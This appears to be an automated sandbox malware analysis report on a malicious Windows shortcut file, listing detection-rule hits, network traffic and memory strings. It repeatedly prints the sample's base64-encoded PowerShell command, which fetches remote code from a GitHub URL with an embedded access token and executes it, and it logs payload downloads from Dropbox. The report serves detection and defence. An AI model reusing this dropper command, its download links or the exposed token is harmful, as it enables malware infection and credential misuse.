Author: frack113: Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7304, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:27:17.050636+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	162.125.65.18	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: mjjt5kTb4o.lnk

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for sample

Source: mjjt5kTb4o.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.4:49731 version: TLS 1.2

Source:	Binary string: System.pdbbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb3a source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4194746307.000001B9EDDD6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbN source: powershell.exe, 00000002.00000002.4197539133.000001B9EE128000.00000004.00000020.00020000.00000000.sdmp

Networking

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: 7z.exe.2.dr

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp	String found in memory: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline'
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; img-src https:// data: blob: ; font-src https://* data: ; base-uri 'self' ; media-src https://* blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist

Source: Joe Sandbox View	IP Address: 162.125.65.18 162.125.65.18
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 162.125.65.18:443

Source: global traffic	HTTP traffic detected: GET /1x3k/secret/refs/heads/main/secret HTTP/1.1Authorization: token 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User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlkey=ene1k0gk7xpk6dtuc5uk5a7u9&st=w7kwfty1&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7x088417&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1x3k/secret/refs/heads/main/secret HTTP/1.1Authorization: token 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User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlkey=ene1k0gk7xpk6dtuc5uk5a7u9&st=w7kwfty1&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7x088417&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com

Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; img-src https:// data: blob: ; font-src https://* data: ; base-uri 'self' ; media-src https://* blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: svchost.exe, 00000006.00000002.3426795671.0000020DA8A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dropbox.c
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dropbox.com/
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000006.00000003.1763436197.0000020DA8C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.4187390208.000001B9E5DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4187390208.000001B9E5C5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E080000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50F8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D71D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D5BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.2.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D76A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
